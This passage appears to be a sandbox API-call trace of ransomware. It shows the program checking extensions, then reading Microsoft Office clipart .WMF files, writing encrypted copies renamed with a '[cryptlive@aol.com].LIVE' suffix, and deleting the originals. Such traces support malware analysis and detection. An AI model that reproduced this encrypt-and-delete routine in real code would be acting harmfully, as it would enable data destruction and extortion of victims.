[0138.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0138.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0138.996] lstrlenW (lpString=".zip") returned 4 [0138.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0138.996] lstrlenW (lpString=".rar") returned 4 [0138.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0138.996] lstrlenW (lpString=".bz2") returned 4 [0138.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0138.996] lstrlenW (lpString=".7z") returned 3 [0138.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0138.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0138.996] lstrlenW (lpString=".dbf") returned 4 [0138.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0138.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0138.996] lstrlenW (lpString=".1cd") returned 4 [0138.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0138.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0138.996] lstrlenW (lpString=".jpg") returned 4 [0138.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0138.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0138.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0138.997] lstrlenW (lpString=".doc") returned 4 [0138.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0138.997] lstrlenW (lpString=".docx") returned 5 [0138.997] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0138.997] lstrlenW (lpString=".pdf") returned 4 [0138.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0138.997] lstrlenW (lpString=".xls") returned 4 [0138.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0138.997] lstrlenW (lpString=".xlsx") returned 5 [0138.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0138.997] lstrlenW (lpString=".ppt") returned 4 [0138.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0138.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0138.997] lstrlenW (lpString=".zip") returned 4 [0138.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0138.997] lstrlenW (lpString=".rar") returned 4 [0138.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0138.997] lstrlenW (lpString=".bz2") returned 4 [0138.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0138.997] lstrlenW (lpString=".7z") returned 3 [0138.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0138.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0138.997] lstrlenW (lpString=".dbf") returned 4 [0138.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0138.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0138.997] lstrlenW (lpString=".1cd") returned 4 [0138.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0138.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0138.997] lstrlenW (lpString=".jpg") returned 4 [0138.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0138.997] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0138.997] lstrlenW (lpString="BL00923_.WMF") returned 12 [0138.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0138.998] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=6256) returned 1 [0138.998] CloseHandle (hObject=0x1e4) returned 1 [0138.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x20 [0138.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0138.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0138.998] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0138.999] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0138.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0138.999] GetLastError () returned 0x0 [0138.999] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1870, lpOverlapped=0x0) returned 1 [0139.001] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1880, lpOverlapped=0x0) returned 1 [0139.002] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0139.002] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.002] SetEndOfFile (hFile=0x390) returned 1 [0139.002] CloseHandle (hObject=0x390) returned 1 [0139.002] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.002] SetEndOfFile (hFile=0x1e4) returned 1 [0139.004] CloseHandle (hObject=0x1e4) returned 1 [0139.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0139.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0139.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0139.005] lstrlenW (lpString=".doc") returned 4 [0139.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.005] lstrlenW (lpString=".docx") returned 5 [0139.005] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.005] lstrlenW (lpString=".pdf") returned 4 [0139.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.005] lstrlenW (lpString=".xls") returned 4 [0139.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.006] lstrlenW (lpString=".xlsx") returned 5 [0139.006] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.006] lstrlenW (lpString=".ppt") returned 4 [0139.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0139.006] lstrlenW (lpString=".zip") returned 4 [0139.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.006] lstrlenW (lpString=".rar") returned 4 [0139.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.006] lstrlenW (lpString=".bz2") returned 4 [0139.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.006] lstrlenW (lpString=".7z") returned 3 [0139.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0139.006] lstrlenW (lpString=".dbf") returned 4 [0139.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0139.006] lstrlenW (lpString=".1cd") returned 4 [0139.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0139.006] lstrlenW (lpString=".jpg") returned 4 [0139.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0139.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0139.007] lstrlenW (lpString=".doc") returned 4 [0139.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.007] lstrlenW (lpString=".docx") returned 5 [0139.007] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.007] lstrlenW (lpString=".pdf") returned 4 [0139.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.007] lstrlenW (lpString=".xls") returned 4 [0139.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.007] lstrlenW (lpString=".xlsx") returned 5 [0139.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.007] lstrlenW (lpString=".ppt") returned 4 [0139.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0139.007] lstrlenW (lpString=".zip") returned 4 [0139.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.007] lstrlenW (lpString=".rar") returned 4 [0139.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.007] lstrlenW (lpString=".bz2") returned 4 [0139.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.007] lstrlenW (lpString=".7z") returned 3 [0139.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0139.007] lstrlenW (lpString=".dbf") returned 4 [0139.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0139.007] lstrlenW (lpString=".1cd") returned 4 [0139.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0139.007] lstrlenW (lpString=".jpg") returned 4 [0139.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.007] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.008] lstrlenW (lpString="BL00932_.WMF") returned 12 [0139.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0139.008] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=19476) returned 1 [0139.008] CloseHandle (hObject=0x1e4) returned 1 [0139.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x20 [0139.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0139.008] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.009] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0139.009] GetLastError () returned 0x0 [0139.009] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4c14, lpOverlapped=0x0) returned 1 [0139.011] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0139.012] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0139.012] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.012] SetEndOfFile (hFile=0x390) returned 1 [0139.012] CloseHandle (hObject=0x390) returned 1 [0139.012] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.012] SetEndOfFile (hFile=0x1e4) returned 1 [0139.015] CloseHandle (hObject=0x1e4) returned 1 [0139.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0139.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0139.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0139.016] lstrlenW (lpString=".doc") returned 4 [0139.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.016] lstrlenW (lpString=".docx") returned 5 [0139.016] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.016] lstrlenW (lpString=".pdf") returned 4 [0139.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.016] lstrlenW (lpString=".xls") returned 4 [0139.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.016] lstrlenW (lpString=".xlsx") returned 5 [0139.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.016] lstrlenW (lpString=".ppt") returned 4 [0139.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0139.016] lstrlenW (lpString=".zip") returned 4 [0139.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.017] lstrlenW (lpString=".rar") returned 4 [0139.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.017] lstrlenW (lpString=".bz2") returned 4 [0139.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.017] lstrlenW (lpString=".7z") returned 3 [0139.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0139.017] lstrlenW (lpString=".dbf") returned 4 [0139.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0139.017] lstrlenW (lpString=".1cd") returned 4 [0139.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0139.017] lstrlenW (lpString=".jpg") returned 4 [0139.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0139.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0139.017] lstrlenW (lpString=".doc") returned 4 [0139.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.017] lstrlenW (lpString=".docx") returned 5 [0139.017] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.017] lstrlenW (lpString=".pdf") returned 4 [0139.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.017] lstrlenW (lpString=".xls") returned 4 [0139.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.017] lstrlenW (lpString=".xlsx") returned 5 [0139.017] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.017] lstrlenW (lpString=".ppt") returned 4 [0139.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0139.017] lstrlenW (lpString=".zip") returned 4 [0139.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.017] lstrlenW (lpString=".rar") returned 4 [0139.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.017] lstrlenW (lpString=".bz2") returned 4 [0139.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.018] lstrlenW (lpString=".7z") returned 3 [0139.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0139.018] lstrlenW (lpString=".dbf") returned 4 [0139.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0139.018] lstrlenW (lpString=".1cd") returned 4 [0139.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0139.018] lstrlenW (lpString=".jpg") returned 4 [0139.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.018] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.018] lstrlenW (lpString="BL00985_.WMF") returned 12 [0139.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0139.018] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3768) returned 1 [0139.018] CloseHandle (hObject=0x1e4) returned 1 [0139.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x20 [0139.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0139.019] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.019] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0139.020] GetLastError () returned 0x0 [0139.020] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xeb8, lpOverlapped=0x0) returned 1 [0139.183] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec0, lpOverlapped=0x0) returned 1 [0139.402] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0139.402] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.402] SetEndOfFile (hFile=0x390) returned 1 [0139.622] CloseHandle (hObject=0x390) returned 1 [0139.622] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.622] SetEndOfFile (hFile=0x1e4) returned 1 [0139.625] CloseHandle (hObject=0x1e4) returned 1 [0139.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0139.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0139.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0139.662] lstrlenW (lpString=".doc") returned 4 [0139.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.663] lstrlenW (lpString=".docx") returned 5 [0139.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.663] lstrlenW (lpString=".pdf") returned 4 [0139.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.663] lstrlenW (lpString=".xls") returned 4 [0139.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.663] lstrlenW (lpString=".xlsx") returned 5 [0139.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.663] lstrlenW (lpString=".ppt") returned 4 [0139.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0139.663] lstrlenW (lpString=".zip") returned 4 [0139.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.663] lstrlenW (lpString=".rar") returned 4 [0139.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.663] lstrlenW (lpString=".bz2") returned 4 [0139.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.663] lstrlenW (lpString=".7z") returned 3 [0139.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.663] lstrlenW 